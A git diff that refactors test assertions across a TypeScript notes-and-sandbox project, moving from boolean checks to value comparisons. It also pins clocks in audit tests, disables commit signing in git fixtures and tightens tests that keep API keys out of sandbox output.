diff --git a/docs/process/test-authoring.md b/docs/process/test-authoring.md index deebe267ee..d114bbd174 100644 --- a/docs/process/test-authoring.md +++ b/docs/process/test-authoring.md @@ -96,7 +96,12 @@ test("the date field shows the parsed date and refuses an unparseable one", asyn `self-comparison`. - **S4. Compare values, not booleans.** `expect(island).toBe("Ithaca")`, not `expect(island === "Ithaca").toBe(true)`: the failure should print both - sides. Prevents `opaque-failure`. + sides. The same goes for a predicate over a collection: + `expect(crew.every(c => c.rowed)).toBe(true)` hides which sailor failed and + passes on an empty crew. Map or filter to values instead, + `expect(crew.filter(c => !c.rowed)).toEqual([])` or + `expect(crew.map(c => c.name)).not.toContain("Eurylochus")`, and pin the + size when an empty collection would be wrong. Prevents `opaque-failure`. - **S5. The expected value does not come from the code under test.** Write it as a literal or derive it independently. A test that resolves the same tokens the component paints with proves wiring and nothing else. Prevents @@ -105,7 +110,12 @@ test("the date field shows the parsed date and refuses an unparseable one", asyn the product path actually builds, with a harness that wires the thing the assertion observes, and build inputs whose covered part is non-empty. Prevents `wrong-object`, `earlier-layer-answers`, `nothing-to-observe` and - `empty-by-construction`. + `empty-by-construction`. An absence needs a presence beside it: a test made + only of `toBeNull()`, `toHaveLength(0)` or `not.toHaveBeenCalled()` also + passes when nothing rendered or nothing ran, so first assert what must still + be there (`expect(await canvas.findByText("omens")).toBeVisible()`), then + what must not be. The same goes for a selector nothing emits: asserting + `.bk-colour-only` absent holds whatever the components drew. - **S7. Double the lowest shared request path, and assert the outcome.** A double replaces the one method every request goes through; the assertions are about what the code did with the answer, not about the double being diff --git a/experiments/bounded-read-contract.test.ts b/experiments/bounded-read-contract.test.ts index 75bd2e8070..3167814d90 100644 --- a/experiments/bounded-read-contract.test.ts +++ b/experiments/bounded-read-contract.test.ts @@ -385,7 +385,7 @@ describe("real keyless stdio MCP exercise", () => { const results = await Promise.all(SMALL_PATHS.map(p => fresh.callTool({ name: "brain_read", arguments: { path: p } }) as Promise<{ content: Array<{ type: string; text: string }> }>)); const warnings = results.map(r => r.content.slice(1).map(p => p.text).join("")); - expect(warnings.every(w => w.startsWith("warning: "))).toBe(true); + expect(warnings.map(w => w.slice(0, "warning: ".length))).toEqual(SMALL_PATHS.map(() => "warning: ")); evidence.mcpRepeatedWarnings = { calls: results.length, warningCharsPerCall: warnings.map(w => w.length), totalWarningChars: warnings.join("").length, note: "one batch result would carry the warning once" }; } finally { @@ -399,6 +399,7 @@ describe("real keyless stdio MCP exercise", () => { const { tools } = await client.listTools(); const listed = tools.find(t => t.name === "brain_read")!; const many = tools.find(t => t.name === "brain_read_many")!; + expect([listed?.name, many?.name]).toEqual(["brain_read", "brain_read_many"]); evidence.rosterChars = { brain_read: JSON.stringify(listed).length, brain_read_many: JSON.stringify(many).length, note: "Present on every provider request of a session that has the tool, cached or not; provider tokens unavailable" }; }); diff --git a/experiments/measurement-results.test.ts b/experiments/measurement-results.test.ts index 95aa7b12b6..7be5302ae9 100644 --- a/experiments/measurement-results.test.ts +++ b/experiments/measurement-results.test.ts @@ -76,7 +76,7 @@ test("a consumer rejects the real SDK result before reporting sees it; native no expect(turn.costUsd).toBe(.375); expect(turn.resultReceipts).toEqual([receipt]); expect([turn.inputTokens, turn.outputTokens, turn.cacheCreationTokens, turn.cacheReadTokens, turn.modelTurns]).toEqual([101, 37, 203, 307, 2]); - expect(turn.nativeProcesses.every(process => process.closed && process.stdoutFinished)).toBe(true); + expect(turn.nativeProcesses.map(process => [process.closed, process.stdoutFinished])).toEqual([[true, true]]); expect(costRows([turn]).join("\n")).toContain("unknown/not measured"); }, 20_000); diff --git a/experiments/multi-query-search.test.ts b/experiments/multi-query-search.test.ts index e43d937b32..3f81e10181 100644 --- a/experiments/multi-query-search.test.ts +++ b/experiments/multi-query-search.test.ts @@ -416,6 +416,7 @@ describe("real keyless stdio MCP exercise", () => { test("roster cost: the listed brain_search definition and the proposed one", async () => { const { tools } = await client.listTools(); const listed = tools.find(t => t.name === "brain_search")!; + expect(listed?.name).toBe("brain_search"); // A like-for-like definition: brain_search's own input schema and descriptions as the item schema, plus the call's fields. const { query: _q, ...listedProps } = (listed.inputSchema as { properties: Record }).properties; const likeForLike = { diff --git a/experiments/multi-root-graph.test.ts b/experiments/multi-root-graph.test.ts index 227236a6d4..c9c6d17c05 100644 --- a/experiments/multi-root-graph.test.ts +++ b/experiments/multi-root-graph.test.ts @@ -160,7 +160,7 @@ describe("reachability: the prototype preserves each root's own walk", () => { ["duplicate", 0, 0], ["missing", undefined, 0], ["found", undefined, 0], ["found", undefined, walkLinks(db, { path: "notes/loom.md", depth: 1, direction: "both" }).edges.length], ]); - expect(result.edges.every((e) => !e.roots.some((i) => i === 1 || i === 2))).toBe(true); + expect(result.edges.filter((e) => e.roots.some((i) => i === 1 || i === 2))).toEqual([]); // The shipped single-root tools cannot tell the last two cases apart. const pi = piTools(root); for (const path of ["notes/absent.md", "notes/driftwood.md"]) { diff --git a/experiments/turn-surface-admission.test.ts b/experiments/turn-surface-admission.test.ts index 3f70eaa06a..12495906cd 100644 --- a/experiments/turn-surface-admission.test.ts +++ b/experiments/turn-surface-admission.test.ts @@ -34,7 +34,7 @@ test("installed CLI API-auth handshake refuses before any model request or promp testSubscriptionRefusal: true }); expect(capture.requests).toHaveLength(0); expect(capture.gateRefusal).toBe("native_subscription_account_refused"); - expect(capture.frames.some(frame => frame.type === "assistant")).toBe(false); + expect(capture.frames.filter(frame => frame.type === "assistant")).toEqual([]); }); test("installed CLI effective auxiliary-model setting refuses after native OAuth handshake before inference", async () => { const capture = await captureSurface({ decision: Promise.resolve({ arm: "baseline", routed: false, tools: [], skills: [] }), diff --git a/experiments/turn-surface-stdout.test.ts b/experiments/turn-surface-stdout.test.ts index e934e63cad..8b69dc60f2 100644 --- a/experiments/turn-surface-stdout.test.ts +++ b/experiments/turn-surface-stdout.test.ts @@ -47,7 +47,7 @@ test("native split UTF-8 and final result survive delayed SDK reader and reader expect(thrown).toBe(true); expect(chunks.some(chunk => chunk.at(-1) === 0xcf)).toBe(true); expect(captured).toEqual([frame]); - expect(readFileSync(join(root, "stdout.jsonl")).equals(Buffer.from(source))).toBe(true); + expect(readFileSync(join(root, "stdout.jsonl"))).toEqual(Buffer.from(source)); } finally { if (child.exitCode === null) child.kill("SIGKILL"); await closed; @@ -76,7 +76,7 @@ test("native late EOF receipt survives an early SDK consumer throw; missing raw expect(await closed).toBe(0); expect(raw).toEqual(final); expect(() => successfulSurfaceReceipt(raw, observation)).toThrow("Missing model usage"); - expect(readFileSync(join(root, "stdout.jsonl")).equals(Buffer.from(bytes))).toBe(true); + expect(readFileSync(join(root, "stdout.jsonl"))).toEqual(Buffer.from(bytes)); } finally { if (child.exitCode === null) child.kill("SIGKILL"); await closed; diff --git a/experiments/ui-server/triage-eval-exit-code.test.ts b/experiments/ui-server/triage-eval-exit-code.test.ts index 28a3b424b3..997e8b928c 100644 --- a/experiments/ui-server/triage-eval-exit-code.test.ts +++ b/experiments/ui-server/triage-eval-exit-code.test.ts @@ -61,7 +61,7 @@ describe("eval:triage exit code", () => { expect(result.code).toBe(0); const written = await Bun.file(path).json(); expect(written.results.map((row: { effort: string }) => row.effort).sort()).toEqual(["high", "low"]); - expect(written.results.every((row: { pass: boolean }) => row.pass)).toBe(true); + expect(written.results.map((row: { pass: boolean }) => row.pass)).toEqual([true, true]); }); test("a failed gate exits 1 and the report is unchanged", async () => { @@ -283,8 +283,8 @@ describe("eval:triage repetition and coverage gate", () => { const record = (await Bun.file(path).json()).results[0]; expect(record.repetitions).toHaveLength(2); expect(record.repetitions.map((rep: { gate: { pass: boolean } }) => rep.gate.pass)).toEqual([false, true]); - expect(record.repetitions.every((rep: { requestedIds: string[]; judgedIds: string[] }) => - rep.requestedIds.length === 20 && rep.judgedIds.length === 20)).toBe(true); + expect(record.repetitions.map((rep: { requestedIds: string[]; judgedIds: string[] }) => + [rep.requestedIds.length, rep.judgedIds.length])).toEqual([[20, 20], [20, 20]]); }); } }); diff --git a/packages/compute-boat/tests/ambiguous-create.test.ts b/packages/compute-boat/tests/ambiguous-create.test.ts index 3023853011..7e14dc8bc7 100644 --- a/packages/compute-boat/tests/ambiguous-create.test.ts +++ b/packages/compute-boat/tests/ambiguous-create.test.ts @@ -63,7 +63,8 @@ describe("ambiguous create", () => { advance(25 * 60 * 60 * 1000); fake.forgetIdempotencyKeys(); const again = await provider.allocate({ key: "job-scheria-3", leaseSeconds: 600, retain: false }, contextFor(fake, { now })); - expect(first.kind === "ok" && again.kind === "ok" && again.sandbox.id === first.sandbox.id).toBe(true); + if (first.kind !== "ok") throw new Error(first.kind); + expect(again.kind === "ok" && again.sandbox.id).toBe(first.sandbox.id); expect([fake.created(), fake.routes().filter((r) => r === "create").length]).toEqual([1, 1]); }); diff --git a/packages/compute-boat/tests/cleanup.test.ts b/packages/compute-boat/tests/cleanup.test.ts index 8e9e61dc8c..8ac98765dc 100644 --- a/packages/compute-boat/tests/cleanup.test.ts +++ b/packages/compute-boat/tests/cleanup.test.ts @@ -63,7 +63,7 @@ describe("cleanup failures", () => { const { fake, provider, now, sandbox } = await allocated(); expect((await provider.release(sandbox, "discard", contextFor(fake, { now }))).kind).toBe("released"); expect((await provider.release(sandbox, "discard", contextFor(fake, { now }))).kind).toBe("released"); - const deletes = fake.requests.filter((r) => r.route === "delete"); - expect(deletes.every((r) => r.headers["x-ascii-confirm-delete"] === sandbox.id)).toBe(true); + const confirmations = fake.requests.filter((r) => r.route === "delete").map((r) => r.headers["x-ascii-confirm-delete"]); + expect(confirmations).toEqual([sandbox.id, sandbox.id]); }); }); diff --git a/packages/compute-boat/tests/contract.test.ts b/packages/compute-boat/tests/contract.test.ts index 89d83bcb43..7698489c31 100644 --- a/packages/compute-boat/tests/contract.test.ts +++ b/packages/compute-boat/tests/contract.test.ts @@ -28,9 +28,11 @@ const harness = { context: () => ({ secret: SECRET, fetch: fake.fetch, options: {} }), commands: boatCommands, liveSandboxes: () => fake.liveSandboxes(), - // One provider call spans up to MAX_ATTEMPTS requests; the fault covers the whole call. + // An allocation retries up to MAX_ATTEMPTS requests, so its fault covers the whole call. loseNextResponse: () => fake.failNext("create", "lose-response", MAX_ATTEMPTS), - failNextTransport: (method: "allocate" | "poll") => fake.failNext(method === "allocate" ? "create" : "command-status", "network", MAX_ATTEMPTS), + // A poll is sent once and never retried: a deeper queue would outlive the call and fail a later test's poll. + failNextTransport: (method: "allocate" | "poll") => + method === "allocate" ? fake.failNext("create", "network", MAX_ATTEMPTS) : fake.failNext("command-status", "network", 1), stateDir: () => realpathSync(mkdtempSync(join(scratch, `state-${states++}-`))), }; diff --git a/packages/compute-boat/tests/credential-free.test.ts b/packages/compute-boat/tests/credential-free.test.ts index 7d70b6e994..ef6d7b7aa0 100644 --- a/packages/compute-boat/tests/credential-free.test.ts +++ b/packages/compute-boat/tests/credential-free.test.ts @@ -46,8 +46,8 @@ describe("credential-free sandboxes", () => { const stdout = status.kind === "exited" ? status.stdout ?? "" : ""; expect(stdout).toContain("VOYAGE=ithaca"); for (const [name, value] of Object.entries(OWNER_ENV)) expect([name, stdout.includes(value)]).toEqual([name, false]); - expect(stdout.includes(KEY)).toBe(false); + expect(stdout).not.toContain(KEY); const exec = fake.requests.find((r) => r.route === "exec")!; - expect(exec.body.includes(KEY)).toBe(false); + expect(exec.body).not.toContain(KEY); }); }); diff --git a/packages/compute-boat/tests/errors.test.ts b/packages/compute-boat/tests/errors.test.ts index 3f8a24286e..82520027fe 100644 --- a/packages/compute-boat/tests/errors.test.ts +++ b/packages/compute-boat/tests/errors.test.ts @@ -178,11 +178,12 @@ describe("command and file errors", () => { await provider.stage!(sandbox, { files: [{ path: "notes/voyage.md", sha256: sha, bytes: data.byteLength, read: async () => data }], hash: sha }, contextFor(fake, { now })); const command = String(JSON.parse(fake.requests.filter((r) => r.route === "exec").at(-1)!.body).command); const tar = /tar -xf '([^']+)'/.exec(command)?.[1]; - expect(tar).toBeDefined(); + // Named by the bundle hash, so a run still in flight and its repeat read the same archive. + expect(tar).toBe(`/tmp/brain-kit/${sha}.tar`); expect(command).not.toContain(`rm -f '${tar}'`); expect(command).toContain("mktemp -d"); expect(command).not.toMatch(/-C work\b/); - expect(fake.sandboxes.get(sandbox.id)!.files.has(tar!)).toBe(true); + expect([...fake.sandboxes.get(sandbox.id)!.files.keys()]).toContain(tar!); }); test("a lost process Boat's probe still finds running is running, never exited; one it finds ended is a provider error", async () => { diff --git a/packages/compute-boat/tests/install-select.test.ts b/packages/compute-boat/tests/install-select.test.ts index 90fb6c557f..1e282f3238 100644 --- a/packages/compute-boat/tests/install-select.test.ts +++ b/packages/compute-boat/tests/install-select.test.ts @@ -58,7 +58,7 @@ describe("installing and selecting Boat", () => { const fake = fakeBoat({ apiKey: KEY }); expect((await computeProvider.health(contextFor(fake, { secret: "boat_wrong_key_000" }))).kind).toBe("unavailable"); expect((await computeProvider.health({ ...contextFor(fake), secret: undefined })).kind).toBe("unavailable"); - expect(fake.requests.every((r) => r.method === "GET")).toBe(true); + expect(fake.requests.filter((r) => r.method !== "GET")).toEqual([]); }); test("the package imports @schlessera/brain for types only, and ships no install hook or vendor SDK", () => { diff --git a/packages/compute-boat/tests/secrets.test.ts b/packages/compute-boat/tests/secrets.test.ts index e26ba964d1..9174e7b4e8 100644 --- a/packages/compute-boat/tests/secrets.test.ts +++ b/packages/compute-boat/tests/secrets.test.ts @@ -67,11 +67,11 @@ describe("the key and signed URLs stay out of everything but the API header", () expect(others).toEqual([]); } if (collected.kind !== "ok") throw new Error(collected.kind); + expect(collected.artifacts.map((artifact) => artifact.status)).toEqual(["collected", "collected"]); for (const artifact of collected.artifacts) { - expect(artifact.status === "collected" && new TextDecoder().decode(artifact.data).includes(KEY)).toBe(false); + if (artifact.status === "collected") expect(new TextDecoder().decode(artifact.data)).not.toContain(KEY); } - const printed = started.kind === "ok" ? JSON.stringify(seen[3]) : ""; - expect(printed.includes("VOYAGE=ithaca")).toBe(true); + expect(JSON.stringify(seen[3])).toContain("VOYAGE=ithaca"); }); test("the fake refuses a signed-URL request that carries an Authorization header, as a stray key must never reach one", async () => { diff --git a/packages/core/tests/audit-grouped-findings.test.ts b/packages/core/tests/audit-grouped-findings.test.ts index d8705c222d..eadae37359 100644 --- a/packages/core/tests/audit-grouped-findings.test.ts +++ b/packages/core/tests/audit-grouped-findings.test.ts @@ -13,12 +13,13 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "fs"; import { tmpdir } from "os"; import { join } from "path"; -import { audit, auditTotals, isoDay } from "../src/lib/auditor"; +import { audit, auditTotals } from "../src/lib/auditor"; import { openDatabase, SCHEMA_VERSION } from "../src/lib/db"; import { buildTaxonomy } from "../src/lib/taxonomy"; import { brainConfigSchema } from "../src/lib/config"; import type { AuditIssue } from "../src/lib/types"; import { cleanup, makeTempBrain, runCli } from "./cli-harness"; +import { hygieneCliClock } from "./hygiene-clock"; const NOW = new Date("2026-07-01T00:00:00Z"); const taxonomy = buildTaxonomy({ user: brainConfigSchema.parse({}) }); @@ -140,7 +141,12 @@ test("auditTotals: must-fix is errors plus warnings, informational is infos", () describe("over a real indexed brain", () => { let root: string; - const today = isoDay(Date.now()); + // The audit reads the clock: "today" and the child's clock are pinned + // together, so a run that crosses midnight cannot make review-today overdue. + const today = "2026-07-12"; + const NOW_CLI = `${today}T12:00:00Z`; + const clockScratch = makeTempBrain({ empty: true }); + const runAt = hygieneCliClock(clockScratch); const doc = (title: string, body: string, extra = "") => `---\ntype: note\ntitle: ${title}\ncreated: 2026-01-01\nupdated: ${today}\ntags: [t]\nstatus: active\nrelevance: secondary\n${extra}---\n\n${body}\n`; @@ -172,12 +178,15 @@ describe("over a real indexed brain", () => { doc("Review archived", "See [[target]].", "next_review: 2026-01-02\n").replace("status: active", "status: archived") ); expect((await runCli(root, ["index", "--json"])).code).toBe(0); - const { stdout, code } = await runCli(root, ["audit", "--json"]); + const { stdout, code } = await runAt(root, ["audit", "--json"], NOW_CLI); expect(code).toBe(0); audited = JSON.parse(stdout); }); - afterAll(() => cleanup(root)); + afterAll(() => { + cleanup(root); + cleanup(clockScratch); + }); test("the index stores the declaration, and only where it is set", () => { const db = openDatabase(join(root, ".brain-index", "brain.db"), { readonly: true }); @@ -281,10 +290,10 @@ describe("over a real indexed brain", () => { }); test("maintain reports the same counts with must-fix and informational totals", async () => { - const { stdout } = await runCli(root, ["maintain", "--json", "--no-git"]); + const { stdout } = await runAt(root, ["maintain", "--json", "--no-git"], NOW_CLI); const step = (JSON.parse(stdout) as { step: string; result: string }[]).find((s) => s.step === "audit"); // maintain reindexes first; nothing changed, so the audit is the same one. - const again = JSON.parse((await runCli(root, ["audit", "--json"])).stdout) as AuditOut; + const again = JSON.parse((await runAt(root, ["audit", "--json"], NOW_CLI)).stdout) as AuditOut; expect(step?.result).toBe( `${again.errors} error(s), ${again.warnings} warning(s), ${again.infos} info(s); ` + `${again.errors + again.warnings} must-fix, ${again.infos} informational` diff --git a/packages/core/tests/auditor-canonical-policy.test.ts b/packages/core/tests/auditor-canonical-policy.test.ts index b48bb6a7c2..0f12603f40 100644 --- a/packages/core/tests/auditor-canonical-policy.test.ts +++ b/packages/core/tests/auditor-canonical-policy.test.ts @@ -237,7 +237,7 @@ describe("brain audit --json on a copy of the fixture corpus", () => { growFocus(root); const past = (await auditJson(root)).filter((i) => i.category === "past-date" && i.message.includes("2020-01-01")); expect(past).toHaveLength(1); - expect(past[0].message.startsWith("Line ")).toBe(true); + expect(past[0].message).toStartWith("Line "); }); test("with the root and a pinned clock, the line is the file's", async () => { diff --git a/packages/core/tests/briefing-audit-count.test.ts b/packages/core/tests/briefing-audit-count.test.ts index 93dc102485..af87df2745 100644 --- a/packages/core/tests/briefing-audit-count.test.ts +++ b/packages/core/tests/briefing-audit-count.test.ts @@ -4,11 +4,18 @@ import { existsSync, mkdirSync, writeFileSync } from "fs"; import { join } from "path"; import type { AuditIssue } from "../src/lib/types"; import { cleanup, makeTempBrain, runCli } from "./cli-harness"; +import { hygieneCliClock } from "./hygiene-clock"; const roots: string[] = []; afterAll(() => { for (const root of roots) cleanup(root); }); -const today = new Date().toISOString().slice(0, 10); +// Audit and briefing both read the clock: pin it in the children, so a run +// that crosses midnight cannot change "0 day(s) ago" or a stale count. +const today = "2026-07-12"; +const NOW = `${today}T12:00:00Z`; +const clockScratch = makeTempBrain({ empty: true }); +roots.push(clockScratch); +const runAt = hygieneCliClock(clockScratch); const note = (body: string) => `--- type: note title: Odysseus's mast notes @@ -35,13 +42,13 @@ async function indexed(files: Record, fromCorpus = false): Promi } async function auditOutput(root: string): Promise<{ issues: AuditIssue[]; errors: number; warnings: number; infos: number; mustFix: number }> { - const result = await runCli(root, ["audit", "--json"]); + const result = await runAt(root, ["audit", "--json"], NOW); expect(result.code).toBe(0); return JSON.parse(result.stdout); } async function briefingOutput(root: string): Promise { - const result = await runCli(root, ["briefing"]); + const result = await runAt(root, ["briefing"], NOW); expect(result.code).toBe(0); return result.stdout; } @@ -63,8 +70,7 @@ describe("briefing audit count", () => { const audited = await auditOutput(root); expect(audited.mustFix).toBeGreaterThan(0); expect(audited.infos).toBeGreaterThan(0); - expect(audited.issues.some((issue) => issue.category === "todo")).toBe(true); - expect(audited.issues.some((issue) => issue.category === "verify")).toBe(true); + expect(audited.issues.map((issue) => issue.category)).toEqual(expect.arrayContaining(["todo", "verify"])); expect(audited.mustFix).toBe(audited.errors + audited.warnings); const briefing = await briefingOutput(root); expect(briefing).toContain(mustFixLine(audited.mustFix)); diff --git a/packages/core/tests/briefing.test.ts b/packages/core/tests/briefing.test.ts index 6e454d9155..6cdaf936f6 100644 --- a/packages/core/tests/briefing.test.ts +++ b/packages/core/tests/briefing.test.ts @@ -156,7 +156,7 @@ describe("Overdue Reviews", () => { test("reviewLimit overrides the cap", async () => { const lines = section(await brief(await makeBrain(SEVEN), { reviewLimit: 7 }), "Overdue Reviews"); expect(lines).toHaveLength(7); - expect(lines.some((l) => l.includes("more (brain audit)"))).toBe(false); + expect(lines.filter((l) => l.includes("more (brain audit)"))).toEqual([]); }); test("--limit-reviews reaches the briefing, and must be a non-negative integer", async () => { @@ -232,8 +232,8 @@ describe("review round 1", () => { .map((i) => i.path) ); const omitted = [1, 2].map((n) => `notes/r${n}.md`); - expect(listed.some((l) => omitted.some((p) => l.includes(p)))).toBe(false); - for (const path of omitted) expect(audited.has(path)).toBe(true); + expect(listed.filter((l) => omitted.some((p) => l.includes(p)))).toEqual([]); + expect([...audited]).toEqual(expect.arrayContaining(omitted)); }); test("open entries inside a longer fence, or after a fake closing line, are not counted", async () => { diff --git a/packages/core/tests/cache-merge.test.ts b/packages/core/tests/cache-merge.test.ts index a5b32797cb..f10363abde 100644 --- a/packages/core/tests/cache-merge.test.ts +++ b/packages/core/tests/cache-merge.test.ts @@ -21,7 +21,9 @@ afterEach(() => { }); function git(cwd: string, ...args: string[]): { code: number; out: string } { - const r = Bun.spawnSync(["git", "-C", cwd, ...args], { stdout: "pipe", stderr: "pipe" }); + // Signing is off per command (#3485): an environment-scoped GIT_CONFIG_COUNT + // outranks the repository-local commit.gpgsign the fixtures set, but not -c. + const r = Bun.spawnSync(["git", "-c", "commit.gpgsign=false", "-C", cwd, ...args], { stdout: "pipe", stderr: "pipe" }); return { code: r.exitCode, out: r.stdout.toString() + r.stderr.toString() }; } diff --git a/packages/core/tests/chunker-version-readonly.test.ts b/packages/core/tests/chunker-version-readonly.test.ts index 6f7ca42912..39eac8e155 100644 --- a/packages/core/tests/chunker-version-readonly.test.ts +++ b/packages/core/tests/chunker-version-readonly.test.ts @@ -51,5 +51,5 @@ test("search, stats and doctor read a schema-9 index that has not been migrated" const check = new Database(join(root, ".brain-index", "brain.db"), { readonly: true }); const cols = check.prepare("PRAGMA table_info(documents)").all() as { name: string }[]; check.close(); - expect(cols.some((c) => c.name === "chunker_version")).toBe(false); + expect(cols.map((c) => c.name)).not.toContain("chunker_version"); }, 120_000); diff --git a/packages/core/tests/claude-runner-default-native.test.ts b/packages/core/tests/claude-runner-default-native.test.ts index 921211b548..e983745759 100644 --- a/packages/core/tests/claude-runner-default-native.test.ts +++ b/packages/core/tests/claude-runner-default-native.test.ts @@ -20,7 +20,7 @@ test("actual core default allows Bash Read Write while operator denied Write rem const toolResults=arm.physical.flatMap((c:any)=>c.request.messages??[]).flatMap((m:any)=>Array.isArray(m.content)?m.content:[]).filter((b:any)=>b.type==="tool_result"); expect(toolResults.length).toBeGreaterThan(0); if(arm===allow){const read=toolResults.find((b:any)=>b.tool_use_id==="tool_allow_1");expect(JSON.stringify(read.content)).toContain("Odysseus inspects the raft");expect(read.is_error??false).toBe(false);} - else expect(toolResults.some((b:any)=>b.is_error===true)).toBe(true); + else expect(toolResults).toContainEqual(expect.objectContaining({is_error:true})); } }finally{rmSync(parent,{recursive:true,force:true});} },90000); diff --git a/packages/core/tests/claude-runner-rejected-token.test.ts b/packages/core/tests/claude-runner-rejected-token.test.ts index bf39cc5ffc..05f5b1e47b 100644 --- a/packages/core/tests/claude-runner-rejected-token.test.ts +++ b/packages/core/tests/claude-runner-rejected-token.test.ts @@ -78,6 +78,6 @@ describe("the Claude runner on a rejected token", () => { expect(outcome.ok).toBe(false); expect(seen.length).toBeGreaterThan(0); expect(seen.filter((request) => request.xApiKey !== null)).toEqual([]); - expect(seen.every((request) => request.authorization === `Bearer ${OAUTH}`)).toBe(true); + expect(seen.map((request) => request.authorization)).toEqual(seen.map(() => `Bearer ${OAUTH}`)); }, 60_000); }); diff --git a/packages/core/tests/cli-contract.test.ts b/packages/core/tests/cli-contract.test.ts index 54ead3d434..83288d5a50 100644 --- a/packages/core/tests/cli-contract.test.ts +++ b/packages/core/tests/cli-contract.test.ts @@ -10,7 +10,8 @@ import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync } from import { tmpdir } from "os"; import { join } from "path"; -import { cleanup, makeTempBrain, runCli } from "./cli-harness"; +import { cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; +import { withoutSigning } from "./git-fixture"; import { packageVersion } from "../src/package-version"; let root: string; @@ -540,8 +541,12 @@ describe("sync", () => { test("human mode: the report, then the agent's text; machine mode: one result", async () => { const brain = makeTempBrain({ empty: true }); const remote = mkdtempSync(join(tmpdir(), "brain-contract-remote-")); + // Signing is switched off per command (#3485): an environment-scoped + // GIT_CONFIG_COUNT outranks the repository-local setting below, and both + // the fixture's commit and the one `brain sync` makes would try to sign. + const unsigned = withoutSigning(keylessEnv(brain)); const git = (...args: string[]) => { - const result = Bun.spawnSync(["git", "-C", brain, ...args]); + const result = Bun.spawnSync(["git", "-C", brain, ...args], { env: unsigned }); if (result.exitCode !== 0) throw new Error(`git ${args.join(" ")}: ${result.stderr.toString()}`); }; try { @@ -570,7 +575,7 @@ export default defineConfig({ writeFileSync(join(brain, "survey.xyz"), "eagle survey grid\n"); // An output flag is not a verb: `--human` is the text… - const human = await runCli(brain, ["sync", "--human"]); + const human = await runCli(brain, ["sync", "--human"], unsigned); expect(human.code).toBe(0); expect(human.stdout).toStartWith("brain sync: complete\n"); expect(human.stdout).toContain(" unknown: survey.xyz\n"); @@ -579,7 +584,7 @@ export default defineConfig({ // …and `--json`, or a stdout that is not a terminal, the one result. for (const flags of [[], ["--json"]]) { - const { stdout, code } = await runCli(brain, ["sync", ...flags]); + const { stdout, code } = await runCli(brain, ["sync", ...flags], unsigned); expect(code).toBe(0); const body = JSON.parse(stdout); expect(body.run.status).toBe("complete"); @@ -594,7 +599,7 @@ export default defineConfig({ }); } - const unknown = await runCli(brain, ["sync", "--not-a-flag"]); + const unknown = await runCli(brain, ["sync", "--not-a-flag"], unsigned); expect(unknown.code).toBe(1); expect(unknown.stderr).toContain("Unknown flag: --not-a-flag"); } finally { diff --git a/packages/core/tests/cli-harness-host-isolation.test.ts b/packages/core/tests/cli-harness-host-isolation.test.ts index d711743600..d5a8e0b9ff 100644 --- a/packages/core/tests/cli-harness-host-isolation.test.ts +++ b/packages/core/tests/cli-harness-host-isolation.test.ts @@ -62,7 +62,7 @@ for (const mode of ["success", "failure", "shared", "standalone"] as const) { for (const receipt of receipts) { expect(receipt.code).toBe(0); expect(receipt.dirs).toHaveLength(3); - for (const dir of receipt.dirs) expect(dir.startsWith(`${ownedTemp}/`)).toBe(true); + for (const dir of receipt.dirs) expect(dir).toStartWith(`${ownedTemp}/`); } if (mode === "shared") expect(receipts[1]!.dirs).toEqual(receipts[0]!.dirs); expect(existsSync(keep), "cleanup must preserve unrelated temporary entries").toBe(true); diff --git a/packages/core/tests/cli-onboarding.test.ts b/packages/core/tests/cli-onboarding.test.ts index c944a2c5be..8e889afd58 100644 --- a/packages/core/tests/cli-onboarding.test.ts +++ b/packages/core/tests/cli-onboarding.test.ts @@ -19,6 +19,7 @@ import { join } from "path"; import { cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; import { installGitHooks } from "../src/cli/hooks-util"; +import { withoutSigning } from "./git-fixture"; const temps: string[] = []; function tempBrain(opts: { empty?: boolean } = {}): string { @@ -481,8 +482,10 @@ function gitBrainWithHooks(): { root: string; shimDir: string } { } function commit(root: string, shimDir: string, message: string) { + // Signing is off per command (#3485): an environment-scoped + // GIT_CONFIG_COUNT outranks the repository-local setting above. const proc = Bun.spawnSync(["git", "-C", root, "commit", "-q", "-m", message], { - env: { ...process.env, PATH: `${shimDir}:${process.env.PATH}` }, + env: withoutSigning({ ...(process.env as Record), PATH: `${shimDir}:${process.env.PATH}` }), }); return { code: proc.exitCode, diff --git a/packages/core/tests/cli-read-many.test.ts b/packages/core/tests/cli-read-many.test.ts index 3fed2b1c01..f7cd61e195 100644 --- a/packages/core/tests/cli-read-many.test.ts +++ b/packages/core/tests/cli-read-many.test.ts @@ -43,7 +43,7 @@ describe("brain read-many --json", () => { expect(r.stdout.trimEnd().length).toBeLessThanOrEqual(2_000); const body = JSON.parse(r.stdout); expect(body.items.map((i: { kind: string }) => i.kind)).toEqual(["full", "partial"]); - expect(body.items[0].content.startsWith("## Reaching Odysseus\n")).toBe(true); + expect(body.items[0].content).toStartWith("## Reaching Odysseus\n"); }); test("the cap flags apply to argument paths and are refused, not clamped, out of range", async () => { diff --git a/packages/core/tests/compute-cli.test.ts b/packages/core/tests/compute-cli.test.ts index b214f554bd..071ee7f56e 100644 --- a/packages/core/tests/compute-cli.test.ts +++ b/packages/core/tests/compute-cli.test.ts @@ -127,6 +127,8 @@ describe("usage errors", () => { describe("plan", () => { test("returns the lease, the exact source manifest and an unknown estimate as null", async () => { + // Other cases may have left jobs in the shared brain: a plan adds none. + const jobsBefore = jobIds(box); const r = await cli(box, ["plan", "--provider", "ithaca-host", "--source", "notes/route.md", "--source", "notes/raft.md", "--artifact", "out/chart.txt:2048", "--lease", "60", "--json", "--", "true"]); expect(r.code).toBe(0); const { ok, plan } = json(r.stdout); @@ -142,7 +144,7 @@ describe("plan", () => { }); expect(plan.source.files.map((f: any) => f.path)).toEqual(["notes/raft.md", "notes/route.md"]); expect(plan.source.hash).toMatch(/^[0-9a-f]{64}$/); - expect(jobIds(box)).toEqual([]); + expect(jobIds(box)).toEqual(jobsBefore); }); }); @@ -165,7 +167,7 @@ describe("run", () => { const c = json(collected.stdout); expect(Object.keys(c).sort()).toEqual(["artifacts", "job", "ok", "output"]); expect(c.output).toEqual({ stdout: "---\ntype: note\n---\n# The raft\nTwenty trees, felled on Ogygia.\n", stderr: "", truncated: false }); - expect(c.artifacts[0].file.startsWith(box.state)).toBe(true); + expect(c.artifacts[0].file).toStartWith(box.state); expect(readFileSync(c.artifacts[0].file, "utf8")).toBe("ithaca"); }); @@ -283,6 +285,8 @@ describe("a run interrupted or left 